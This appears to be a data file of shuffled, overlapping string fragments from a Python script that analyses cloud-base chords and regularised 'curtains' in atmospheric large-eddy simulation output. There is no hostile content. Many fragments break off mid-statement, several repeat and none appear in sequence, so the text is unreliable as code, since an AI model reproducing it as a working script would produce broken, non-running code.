"2, 1)) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))])",
"np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] += 1 var_curtain_bin_sum[bin_idx,:,:] = var_curtain_bin_sum[bin_idx,:,:]",
"save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string = directory_output+ reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string) print('saved",
"qt_2d = qt_2d.transpose() u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d",
"named the same as the file. #If the input data",
"to 10 and a 0.1 spacing var_hist_sum=np.zeros(N_bins) date = date_str",
"np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now be able to delete 3d fields",
"Now appending chord properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz",
"= 17.27 B = 237.7 alpha = ((A * (T-",
"cbl height cbl_1d = t_1d*0 bflux_s_1d = t_1d*0 qtflux_s_1d =",
"the index of the next cloudy cell is the same",
"3/4 of the cloud base cl_base_25_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.)",
"list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref if data_dim_flag==1. Is calculated directly from the",
"chord_lenth. Currently using 8 bins of 250 meters length to",
"z_idx_base_smooth[:] if base_smoothing_flag==2: #just put the percentile back z_idx_base[:] =",
"lazy to pass on all my variables to func_curtain_reg so",
"data_vars = {reg_var :(('regularized height', 'regularized time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height',",
"= cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print",
"dewpoint = dewpoint + 273.15 LCL = 125.*(T-dewpoint) LCL_index =",
"# boundary_scaling_flag: 0 nothing, 1 uses the surface fluxes and",
"if reg_var == 'ql': var_2d = ql_2d #Should now be",
"makes sense for 3D to avoid some weird initial fields.",
"0 n_curtain_dw = 0 if size_bin_flag==1: N_bins = 12 n_curtain_bin",
"cells and curtain tail noes not extend beyond end of",
"same everywhere. surf_flux = np.mean(bflux_s_1d) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if",
"if required. Is skipped if there are less than 2",
"cloud base speeds if data_dim_flag==1: ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l])",
"distance between them. #if the difference is larger than 20s",
"return #turned into a function #removed the possibility to loop",
"directory_input='/data/testbed/lasso/sims/', directory_output = 'data_curtains/', data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag = 0, base_percentile",
"# time_slice_curtain: 0 only puts out the total sums, 1:",
"chord_w_base =np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star) chord_w =np.asarray(chord_w)",
"print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':') return",
"so the cells are connected while t_cloudy_idx < len(cbl_cl_idx)-1 and",
"if the cloudy cells are right next to each other",
"have a large overlap, but I split them in two",
"#Scaling is now added here, #Things are applied twice so",
"var_curtain_tmp if scale_flag==2: if idx_end_curtain<nt/2: scaling_factor_prof = 2*scaling_factor_x_inter else: scaling_factor_prof",
"them one by one to w_x_low_z_high f_x = interp1d(z_reg_orig, scaling_factor_x_prof_ext,",
"gap possible # anomaly_flag: 0 use reg_var as it is.",
"= np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between x",
"5 cell running mean, #But now we are making it",
"# scaling_factor=1. #find index of bin close to mid size",
"np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should now be able",
"the z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext =",
"turn the 3D fields into 2d slices with an imaginary",
"chords #If they fulful chord time requirements and have a",
"keep it at least somewhat general with a flexible variable",
"proc_beard_regularize(reg_var = 'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output = 'data_curtains/', data_dim_flag=1, base_smoothing_flag=2,",
"#The needed cbl height cbl_1d = t_1d*0 #The needed surface_bouyancy_flux",
"the y direction when chord_max/2 is reached # boundary_scaling_flag: 0",
"profile file later on dx = 25.0 date = date_str",
"chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0]))",
"',dz) #for boundary scaling total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1]",
"saves pdfs of a variable below cloud base #Both have",
"them in two to keep the one script from getting",
"split them in two to keep the one script from",
"a curtain # #1D clustering parameters, #set super strict if",
"date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output = 'data_curtains/', data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag = 0,",
"as well if chord_times == 1: t_gap = 0. #should",
"saving memory by closing files #file_col.close() #The needed cbl height",
"= 0 chord_duration = 0 if chord_duration>t_min and chord_duration<t_max and",
"by the grid spacing gives us a fake time resolution",
"n_curtain += 1 #First thing to do is calculate the",
"regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex':",
"top for each profile time for tt in range(len(time_prof)): w_var",
"scaling_factor_x_prof = u_ref_prof/V_ref_prof scaling_factor_y_prof = v_ref_prof/V_ref_prof #Using the mean cloud",
"really high where there is no cloud. for t in",
"Dataset(filename_l,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') #getting variable to be",
"loading surface variables from default profile print('calculating cbl height from",
"=np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75",
"=np.asarray(chord_length) chord_height =np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star) chord_qt_star",
"t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between x and y is calculated here if",
"the cbl print('looking into date: ',date) if data_dim_flag==1: filename_column =",
"= w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling is now added here, #Things are",
"connecting all cloudy indexes #Originally only cared if they fulfilled",
"mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid) var_curtain = np.zeros([n_t_reg,n_z_reg]) var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum",
"var_2d = var_2d.transpose() #The needed cbl height cbl_1d = t_1d*0",
"xr_dataset.attrs = settings_dict save_string = directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved size",
"I also hard coded that neighboring cells always count ##Check",
"for tt in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt]",
"import pickle import sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind import UnionFind",
"plots pre regularization plots, currently dissabled # data_dim_flag: 1 =",
"thl_prof = file_prof['thl'][:,:] qt_prof = file_prof['qt'][:,:] nz_prof = w2.shape[1] z_prof",
"filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = '' n_chords = 0",
"import glob import xarray as xr #turned into a function",
"+ int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl base",
"120000 cell_min = 3 #Minimal number of cells needed per",
"= scaling_factor_y_prof[int(ref_idx)] print('Scaling flag 1: scaling factor_x: ',scaling_factor_x,' scaling factor_y:",
"in column_files: filename_column.append(c_file) print('filename column included:',c_file) if data_dim_flag==3: filename_w =",
"contain column. column_files = glob.glob(directory_input+date+'/*column*.nc') for c_file in column_files: filename_column.append(c_file)",
"don't perfectly align var_2d[:,:] = (var_2d.transpose() - var_prof[it,:]).transpose() #to get",
"#+date # N_it_max = maximum number of iterables, 3D timesteps",
"del var_3d gc.collect() #Switching to anomalies if anomaly flag is",
"xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs = settings_dict save_string = directory_output+",
"= file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] time_prof =",
"we go through profile time snapshots and allocate the closest",
"= z_idx_base_smooth[:] if base_smoothing_flag==2: #just put the percentile back z_idx_base[:]",
"chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th percentile of",
"and qt qt_2d[:,:] = (qt_2d.transpose() - qt_prof[it,:]).transpose() thl_2d[:,:] = (thl_2d.transpose()",
"1)) ql_3d = np.transpose(ql_3d, (0, 2, 1)) var_3d = np.transpose(var_3d,",
"counted as consecutive, not matter the time distance between them.",
"start the interpolation stuff #Getting the chord beginning and end",
"to to each side to make interpolation easy idx_beg_curtain =",
"called if there are any clouds if boundary_scaling_flag == 1",
"calculate the chord base using the 25 percentile in agreement",
"bit of overlap is used. if idx_end_curtain<nt-2 and idx_beg_curtain>2 and",
"= 0 #This now a bit trickier then for the",
"the var_curtain_tmp to the sums var_curtain_sum = var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.:",
"of cloud base chord_w = [] chord_w_up = [] #mean",
"the wind from the profile data, which devided by the",
"longer cell_min = 3 #Minimal number of cells needed per",
"through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') chord_idx_list = [] while",
"scales it by 1/(time_end_chord-time_beg_chord) t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord)",
"and a 0.1 spacing var_hist_sum=np.zeros(N_bins) date = date_str #value used",
"var_hist_sum save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if",
"',filename_column[it]) file_col = Dataset(filename_column[it],read='r') w_2d = file_col.variables['w'][:] w_2d = w_2d.transpose()",
"cloudy indexes #Originally only cared if they fulfilled cloud criteria,",
"date = date_str n_percentiles = 7 #Number of percentiles percentiles",
"if sum(file_prof['ql'][it,:])>0.0: print('loading timestep: ',it) ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d",
"1 use reg_var - profile. Works easiest for 3d output,",
"scale_flags added to rotate the curtain to point upwind. #TODO",
"1)) var_3d = np.transpose(var_3d, (0, 2, 1)) #globals().update(locals()) w_2d =",
"int(1.5/d_reg) n_t_reg = int((1+2*curtain_extra)/d_reg) t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid =",
"calculated cbl+300 meter or lcl as reference height ref_lvl =",
"a 0.1 spacing var_hist_sum=np.zeros(N_bins) date = date_str #value used to",
"= date_str n_percentiles = 7 #Number of percentiles percentiles =",
"= 0, N_it_max=1e9, N_it_min=0, size_bin_flag=0, N_bins=12, bin_size = 250, curtain_extra",
"base_smoothing_flag == 2 which gets rid of 1D pre interpolation",
"cloud is over, and a chordlength is created which is",
"z_idx_base[:] = z_idx_base_default for i in range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1 and",
"(0, 2, 1)) ql_3d = np.transpose(ql_3d, (0, 2, 1)) qt_3d",
"to '+save_string) if size_bin_flag==1: xr_dataset = xr.Dataset( data_vars = {reg_var",
"(0, 2, 1)) ql_3d = np.transpose(ql_3d, (0, 2, 1)) var_3d",
"in agreement with Neil if data_dim_flag==3: z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) #",
"= file_col.variables[reg_var][:] var_2d = var_2d.transpose() #The needed cbl height cbl_1d",
"np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 ch_duration =",
",np.array(var_3d.reshape((nz,nx*ny)))]) #Should now be able to delete 3d fields as",
"0.6 domain height, could crash regularization later on, timestep: ',tt)",
"75','qt','qt 25','qt 75']) df.to_pickle(filename_chord_panda) time_end = ttiimmee.time() print('total run time",
"at 1, since z_idx_base is the same everywhere I just",
"10 #Minimal number of cells needed per curtain #value used",
"(np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain = min(idx_end_curtain,nt-1) time_beg_curtain = t_1d[idx_beg_curtain] time_end_curtain",
"pd.DataFrame(data = data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w per up', 'w star','thl",
"idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain += 1 #First thing to do",
"chord_w_star = [] chord_thl_star = [] chord_qt_star = [] chord_thl",
"- 29.65 )) #rel_hum = np.asmatrix(qt_pressure/sat_qv)[0] rel_hum = qt_pressure/sat_qv #Dewpoint",
"save_string_base = save_string_base+'_sf'+str(scale_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9:",
"version. Will have to calculate a vector for the lower",
"either w/w*, thl'/thl*, or qt'/qt* time_begin = ttiimmee.time() dz =",
"############################################################################################################## ############################################################################################################################################### if size_bin_flag: #getting V_ref if data_dim_flag==1. Is calculated",
"cloud base height # 2, similar to 1 but now",
"m cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt]) #To avoid issues later on I",
"done for i in range(idx_beg_curtain,idx_end_curtain): #assigining column value var_orig_col =",
"Dataset(filename_l,read='r') file_thl = Dataset(filename_thl,read='r') file_qt = Dataset(filename_qt,read='r') [nz, nx, ny]",
"for var var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum =",
"model output exactly with not gap possible # directory_input =",
"',date) if data_dim_flag==1: filename_column = [] #uses glob to get",
"0.#No gaps allowed! t_min = 0 t_max = 1e9 cell_min",
"idx_end_curtain-idx_beg_curtain #If curtain has more than curtain_min cells and curtain",
"#Coming next chord_w_per = np.zeros([0,n_percentiles]) chord_w_per_up = np.zeros([0,n_percentiles]) #This now",
"np.meshgrid(t_reg_mid,z_reg_mid) var_curtain = np.zeros([n_t_reg,n_z_reg]) var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg])",
"anomaly_flag =0, N_bins=400, base_percentile = 25, boundary_scaling_flag = 1, range_var",
"+= 1 time3 = ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes') print(':') print(':') print(':')",
"if base_smoothing_flag<2: #Now for each of the columns of the",
"z_prof[1]-z_prof[0] total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1]",
"= [] #Sum of w below #Coming next chord_w_per =",
"1e9 cell_min = 10 #Minimal number of cells needed per",
"vector if u>0. Is set to 0 if data_dim_flag==1 #",
"for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) time1 = ttiimmee.time() if",
"= np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d = np.hstack([thl_2d",
"to add 0 to the z_reg_orig to enable interpolation z_reg_orig",
"difference is larger than 20s the cloud is over, and",
"of max chords reached ############################################################################################################################## if n_chords == int(chord_max/2): t_cloudy_idx",
"print(':') print(':') print(':') print(':') return #A simple script which calculates",
"= min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) time1 =",
"directions #Two different scale_flags added to rotate the curtain to",
"scale_flag # scale_flag: If 0, nothing, if 1, it scales",
"warning if it happens if cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl height heigher",
"anomaly processing #Just grabbing this to calculate dz z_prof =",
"z_reg_orig = np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D",
"we are in the first or second half if idx_end_curtain<nt/2:",
"reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string) print('saved size binned beards to '+save_string) print(':') print(':')",
"and asign them one by one to w_x_low_z_high f_x =",
"#Dewpoint A = 17.27 B = 237.7 alpha = ((A",
"= np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th percentile of cloud base surf_b_flux =",
"ref_lvl = cbl_1d_prof[it] else: #If no clouds are present we",
"coded that neighboring cells always count ##Check if the index",
"surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else:",
"N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string",
"t_1d*0 + total_surf_qt_flux[it] thlflux_s_1d = t_1d*0 + total_surf_thl_flux[it] time2 =",
"'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max,",
"w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per = np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up",
"memory though del w_3d del ql_3d del var_3d gc.collect() #fake",
"output, 1d_flag needs to use the closet mean profile #",
"= np.transpose(ql_3d, (0, 2, 1)) var_3d = np.transpose(var_3d, (0, 2,",
"directory_output+ reg_var+save_string_base save_string = save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf with ',",
"#value used to determine existence of cloud z_min = 10",
"put the percentile back z_idx_base[:] = z_idx_base_default #default version for",
"profile time snapshots and allocate the closest full time values",
"thl_prof[it,:]).transpose() #to get the fake time vector we load the",
"var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_curtain_up = 0 n_curtain_dw",
"0 n_curtain_up = 0 n_curtain_dw = 0 #for col in",
"not extend beyond end of 2d field or the beginning",
") chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a",
"which contain column. column_files = glob.glob(directory_input+date+'/*column*.nc') for c_file in column_files:",
"chord curtain_min = 10 #Minimal number of cells needed per",
"of CBL nt = len(cbl_1d) cl_base = np.zeros(nt) #Detecting all",
"end of 2d field or the beginning extend before #I",
"variable that will be regularized # plot_curtains_flag: 0 nothing, 1",
"to avoid issues with global and local variables def func_curtain_reg(input_2d_field):",
"chord_duration = 0 if chord_duration>t_min and chord_duration<t_max and chord_z_min >",
"number of iterables, 3D timesteps or column files. Used for",
"var at cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary scaling is used,",
"script which calculates a histogram below the cloud base and",
"special_name='', scale_flag=2, chord_times = 0, anomaly_flag = 0, N_it_max=1e9, N_it_min=0,",
"= var_2d.transpose() #The needed cbl height cbl_1d = t_1d*0 bflux_s_1d",
"date = date_str #value used to determine existence of cloud",
"#Changing 3D output #Default is now to always go over",
"save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9:",
"similar to 1 but now using a profile # #",
"var_cl_base/boundary_scaling #Calculating the histogram, and adding it to the total",
"p = file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] thl_prof",
"for the 3D version. Will have to calculate a vector",
"= date_str #value used to determine existence of cloud ql_min",
"at least curtain_min is used # curtain_extra: Regularized chord length",
"files. Used for testing things quickly # size_bin_flag bins the",
"out a warning if it happens if cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl",
"#Detecting all cloudy cells #Use to have a different method",
"np.hstack([[0],z_reg_orig]) var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d]) f = interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear') var_curtain",
"[] chord_thl = [] chord_thl_25 = [] chord_thl_75 = []",
"gc.collect() #Getting anomalies of thl and qt qt_2d[:,:] = (qt_2d.transpose()",
"#Saving print('all chords: ',len(chord_duration)) save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0: save_string_base",
"np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between x and",
"base_percentile = 25, boundary_scaling_flag = 1, range_var = [-10,10] ):",
"= 0 #I will try lists first, which I will",
"qt_prof = file_prof['qt'][:,:] nz_prof = w2.shape[1] z_prof = file_prof['z'][:] dz",
"t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d = t_1d*0 #dt_1d[1:] =",
"chord_thl_75 =np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75) chord_time =np.asarray(chord_time)",
"an inner function to avoid issues with global and local",
"2d field or the beginning extend before #I added 2",
"3D variable as long as it is named the same",
"is determined from the mean cloud base height # 2,",
"np.linspace(0,2*nx*ny,2*nx*ny) #Switching to anomalies if anomaly flag is used if",
"the next cloudy cell is the same as the next",
"' int(ref_idx): ',int(ref_idx)) if scale_flag == 2: #Regularizing the scaling",
"wind from the profile data, which devided by the grid",
"is a list of all timesteps that below to that",
"3 = 3D snapshot # chord_times: 0 use Neils values,",
"np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time iterative, V_ref, time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4]",
"n_chords += 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we start the interpolation stuff",
"#This might save a bit of memory if reg_var ==",
"import gc import glob import xarray as xr #turned into",
"which is a list of all timesteps that below to",
"var_curtain_up_sum += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_dw += 1 var_curtain_dw_sum +=",
"because we only calculate curtains when at least curtain_min is",
"'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height', 'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height',",
"data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag = 0, base_percentile = 25, special_name='', scale_flag=2,",
"mean one and track one more curtain #detecting if chord",
"needed per curtain #value used to determine existence of cloud",
"same as the file. #Changing 3D output #Default is now",
"grab_3d_field(file_w ,it,'w') qt_3d = grab_3d_field(file_qt ,it,'qt') thl_3d = grab_3d_field(file_thl ,it,'thl')",
"if reg_var=='w': boundary_scaling = w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord])",
"a bit to to each side to make interpolation easy",
"np.array(qt_3d.reshape((nz,nx*ny))) thl_2d = np.array(thl_3d.reshape((nz,nx*ny))) #Now we do the same thing",
"higher than t_max seconds it isn't #I added an additional",
"= np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering 1D",
"import make_axes_locatable import pickle import sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind",
"0, N_it_max=1e9, N_it_min=0, size_bin_flag=0, N_bins=12, bin_size = 250, curtain_extra =",
"= ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) thl_2d = file_col.variables['thl'][:] thl_2d",
"base_smoothing_flag==2: #Regularizing the z axes so that cloud base is",
"file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0",
"= 1.0/ref_idx nz = scaling_factor_x_prof.shape[0] z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2 z_reg_orig =",
"[] chord_time = [] chord_height = [] #percentile of cloud",
"the end before saving in pandas chord_timesteps = [] chord_length",
"defined by base_percentile # base_percentile: percentile used to find chordlength",
"height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating through",
"n_curtain = 0 n_curtain_up = 0 n_curtain_dw = 0 if",
"np.hstack([[0],z_reg_orig]) var_orig_col = np.hstack([var_orig_col[0],var_orig_col]) #1D vertical interpolation to get the",
"all timesteps that below to that chordlength #However if the",
"add it on w_3d = np.transpose( w_3d, (0, 2, 1))",
"spacing var_hist_sum=np.zeros(N_bins) date = date_str #value used to determine existence",
"the max height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1",
"= np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid) var_curtain = np.zeros([n_t_reg,n_z_reg]) var_curtain_sum",
"fake time resolution #we use the calculated cbl+300 meter or",
"np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical interpolation to get the",
"* #import matplotlib.pyplot as plt import pandas as pd import",
"'+save_string) if size_bin_flag==1: xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized",
"t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord) #Now we calculate the new regularized",
"##Check if the index of the next cloudy cell is",
"Neils values, use values that fit model output exactly with",
"2D onto the rull regularized grid #print(t_reg_orig.shape,z_reg_mid.shape) f = interp2d(t_reg_orig,",
"of the chordlength is lower than t_min or higher than",
"#Could be made cleaner later on if scale_flag>0 and data_dim_flag==3:",
"minimum z_vlvl of the cbl #Flag clean up if data_dim_flag==1:",
"cbl #z_min = 0 #Index of minimum z_vlvl of the",
"since z_idx_base is the same everywhere I just use idx_beg_curtain",
"if so the cells are connected while t_cloudy_idx < len(cbl_cl_idx)-1",
"z_reg_bound = np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z =",
"the possibility to loop over multiple dates, if you want",
"chord_w =np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25)",
"= 1e9 cell_min = 3 #Minimal number of cells needed",
"output exactly with not gap possible # directory_input = '/data/testbed/lasso/sims/'",
"var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag ==3: if sum(file_prof['ql'][it,:])>0.0: print('loading timestep: ',it) ql_3d",
"same cloud #As an additional contraint, if the cloudy cells",
"for the interpolation a bit of overlap is used. if",
